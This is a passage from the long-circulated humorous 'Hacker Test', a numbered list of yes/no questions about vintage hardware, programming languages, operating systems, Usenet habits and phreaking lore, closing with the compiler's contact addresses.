 0270 ... a decwriter?
 0271 ... a card reader/punch?
 0272 ... a SOL?

      Have you ever built
 0273 ... an Altair?
 0274 ... a Heath/Zenith computer?

      Do you know how to use
 0275 ... an oscilliscope?
 0276 ... a voltmeter?
 0277 ... a frequency counter?
 0278 ... a logic probe?
 0279 ... a wirewrap tool?
 0280 ... a soldering iron?
 0281 ... a logic analyzer?

 0282 Have you ever designed an LSI chip?
 0283 ... has it been fabricated?

 0284 Have you ever etched a printed circuit board?

      * Historical

 0285 Have you ever toggled in boot code on the front panel?
 0286 ... from memory?

 0287 Can you program an Eniac?

 0288 Ever seen a 90 column card?

      * IBM

 0289 Do you recite IBM part numbers in your sleep?
 0290 Do you know what IBM part number 7320154 is?

 0291 Do you understand 3270 data streams?

 0292 Do you know what the VM privilege classes are?

 0293 Have you IPLed an IBM off the tape drive?
 0294 ... off a card reader?

 0295 Can you sing something from the IBM Songbook?

      * Languages

 0296 Do you know more than 4 programming languages?
 0297 ... 8 languages?
 0298 ... 16 languages?
 0299 ... 32 languages?

 0300 Have you ever designed a programming language?

 0301 Do you know what Basic stands for?
 0302 ... Pascal?

 0303 Can you program in Basic?
 0304 ... Do you admit it?

 0305 Can you program in Cobol?
 0306 ... Do you deny it?

 0307 Do you know Pascal?
 0308 ... Modula-2?
 0309 ... Oberon?
 0310 ... More that two Wirth languages?
 0311 ... Can you recite a Nicklaus Wirth joke?

 0312 Do you know Algol-60?
 0313 ... Algol-W?
 0314 ... Algol-68?
 0315 ... Do you understand the Algol-68 report?
 0316 ... Do you like two-level grammars?

 0317 Can you program in assembler on 2 different machines?
 0318 ... on 4 different machines?
 0319 ... on 8 different machines?

      Do you know
 0320 ... APL?
 0321 ... Ada?
 0322 ... BCPL?
 0323 ... C++?
 0324 ... C?
 0325 ... Comal?
 0326 ... Eiffel?
 0327 ... Forth?
 0328 ... Fortran?
 0329 ... Hypertalk?
 0330 ... Icon?
 0331 ... Lisp?
 0332 ... Logo?
 0333 ... MIIS?
 0334 ... MUMPS?
 0335 ... PL/I?
 0336 ... Pilot?
 0337 ... Plato?
 0338 ... Prolog?
 0339 ... RPG?
 0340 ... Rexx (or ARexx)?
 0341 ... SETL?
 0342 ... Smalltalk?
 0343 ... Snobol?
 0344 ... VHDL?
 0345 ... any assembly language?

 0346 Can you talk VT-100?
 0347 ... Postscript?
 0348 ... SMTP?
 0349 ... UUCP?
 0350 ... English?

      * Micros

 0351 Ever copy a copy-protected disk?
 0352 Ever create a copy-protection scheme?

 0353 Have you ever made a "flippy" disk?

 0354 Have you ever recovered data from a damaged disk?

 0355 Ever boot a naked floppy?

      * Networking

 0356 Have you ever been logged in to two different timezones at once?

 0357 Have you memorized the UUCP map for your country?
 0358 ... For any country?

 0359 Have you ever found a sendmail bug?
 0360 ... Was it a security hole?

 0361 Have you memorized the HOSTS.TXT table?
 0362 ... Are you up to date?

 0363 Can you name all the top-level nameservers and their addresses?

 0364 Do you know RFC-822 by heart?
 0365 ... Can you recite all the errors in it?

 0366 Have you written a Sendmail configuration file?
 0367 ... Does it work?
 0368 ... Do you mumble "defocus" in your sleep?

 0369 Do you know the max packet lifetime?

      * Operating systems

      Can you use
 0370 ... BSD Unix?
 0371 ... non-BSD Unix?
 0372 ... AIX
 0373 ... VM/CMS?
 0374 ... VMS?
 0375 ... MVS?
 0376 ... VSE?
 0377 ... RSTS/E?
 0378 ... CP/M?
 0379 ... COS?
 0380 ... NOS?
 0381 ... CP-67?
 0382 ... RT-11?
 0383 ... MS-DOS?
 0384 ... Finder?
 0385 ... PRODOS?
 0386 ... more than one OS for the TRS-80?
 0387 ... Tops-10?
 0388 ... Tops-20?
 0389 ... OS-9?
 0390 ... OS/2?
 0391 ... AOS/VS?
 0392 ... Multics?
 0393 ... ITS?
 0394 ... Vulcan?

 0395 Have you ever paged or swapped off a tape drive?
 0396 ... Off a card reader/punch?
 0397 ... Off a teletype?
 0398 ... Off a networked (non-local) disk?

 0399 Have you ever found an operating system bug?
 0400 ... Did you exploit it?
 0401 ... Did you report it?
 0402 ... Was your report ignored?

 0403 Have you ever crashed a machine?
 0404 ... Intentionally?

      * People

 0405 Do you know any people?
 0406 ... more than one?
 0407 ... more than two?

      * Personal

 0408 Are your shoelaces untied?

 0409 Do you interface well with strangers?

 0410 Are you able to recite phone numbers for half-a-dozen computer systems
         but unable to recite your own?

 0411 Do you log in before breakfast?

 0412 Do you consume more than LD-50 caffeine a day?

 0413 Do you answer either-or questions with "yes"?

 0414 Do you own an up-to-date copy of any operating system manual?
 0415 ... *every* operating system manual?

 0416 Do other people have difficulty using your customized environment?

 0417 Do you dream in any programming languages?

 0418 Do you have difficulty focusing on three-dimensional objects?

 0419 Do you ignore mice?

 0420 Do you despise the CAPS LOCK key?

 0421 Do you believe menus belong in restaurants?

 0422 Do you have a Mandelbrot hanging on your wall?

 0423 Have you ever decorated with magnetic tape or punched cards?
 0424 Do you have a disk platter or a naked floppy hanging in your home?

 0425 Have you ever seen the dawn?
 0426 ... Twice in a row?

 0427 Do you use "foobar" in daily conversation?
 0428 ... "bletch"?

 0429 Do you use the "P convention"?

 0430 Do you automatically respond to any user question with RTFM?
 0431 ... Do you know what it means?

 0432 Do you think garbage collection means memory management?

 0433 Do you have problems allocating horizontal space in your room/office?

 0434 Do you read Scientific American in bars to pick up women?

 0435 Is your license plate computer-related?

 0436 Have you ever taken the Purity test?

 0437 Ever have an out-of-CPU experience?

 0438 Have you ever set up a blind date over the computer?

 0439 Do you talk to the person next to you via computer?

      * Programming

 0440 Can you write a Fortran compiler?
 0441 ... In TECO?

 0442 Can you read a machine dump?
 0443 Can you disassemble code in your head?

      Have you ever written
 0444 ... a compiler?
 0445 ... an operating system?
 0446 ... a device driver?
 0447 ... a text processor?
 0448 ... a display hack?
 0449 ... a database system?
 0450 ... an expert system?
 0451 ... an edge detector?
 0452 ... a real-time control system?
 0453 ... an accounting package?
 0454 ... a virus?
 0455 ... a prophylactic?

 0456 Have you ever written a biorhythm program?
 0457 ... Did you sell the output?
 0458 ... Was the output arbitrarily invented?

 0459 Have you ever computed pi to more than a thousand decimal places?
 0460 ... the number e?

 0461 Ever find a prime number of more than a hundred digits?

 0462 Have you ever written self-modifying code?
 0463 ... Are you proud of it?

 0464 Did you ever write a program that ran correctly the first time?
 0465 ... Was it longer than 20 lines?
 0466 ... 100 lines?
 0467 ... Was it in assembly language?
 0468 ... Did it work the second time?

 0469 Can you solve the Towers of Hanoi recursively?
 0470 ... Non-recursively?
 0471 ... Using the Troff text formatter?

 0472 Ever submit an entry to the Obfuscated C code contest?
 0473 ... Did it win?
 0474 ... Did your entry inspire a new rule?

 0475 Do you know Duff's device?

 0476 Do you know Jensen's device?

 0477 Ever spend ten minutes trying to find a single-character error?
 0478 ... More than an hour?
 0479 ... More than a day?
 0480 ... More than a week?
 0481 ... Did the first person you show it to find it immediately?

      * Unix

 0482 Can you use Berkeley Unix?
 0483 .. Non-Berkeley Unix?

 0484 Can you distinguish between sections 4 and 5 of the Unix manual?

 0485 Can you find TERMIO in the System V release 2 documentation?

 0486 Have you ever mounted a tape as a Unix file system?

 0487 Have you ever built Minix?

 0488 Can you answer "quiz function ed-command" correctly?
 0489 ... How about "quiz ed-command function"?

      * Usenet

 0490 Do you read news?
 0491 ... More than 32 newsgroups?
 0492 ... More than 256 newsgroups?
 0493 ... All the newsgroups?

 0494 Have you ever posted an article?
 0495 ... Do you post regularly?

 0496 Have you ever posted a flame?
 0497 ... Ever flame a cross-posting?
 0498 ... Ever flame a flame?
 0499 ... Do you flame regularly?

 0500 Ever have your program posted to a source newsgroup?

 0501 Ever forge a posting?
 0502 Ever form a new newsgroup?
 0503 ... Does it still exist?

 0504 Do you remember
 0505 ... mod.ber?
 0506 ... the Stupid People's Court?
 0507 ... Bandy-grams?

      * Phreaking

 0508 Have you ever built a black box?

 0509 Can you name all of the 'colors' of boxes?
 0510 ... and their associated functions?

 0511 Does your touch tone phone have 16 DTMF buttons on it?

 0512 Did the breakup of MaBell create more opportunities for you?

 If you have any comments of suggestions regarding the HACKER TEST,
 Please send then to: hayes@psunuce.bitnet
                   or jwh100@psuvm.bitnet / jwh100@psuvmxa.bitnet
                   or jwh100@psuvm.psu.edu / jwh100@psuvmxa.psu.edu
                   or ...!psuvax1!psuvm.bitnet!jwh100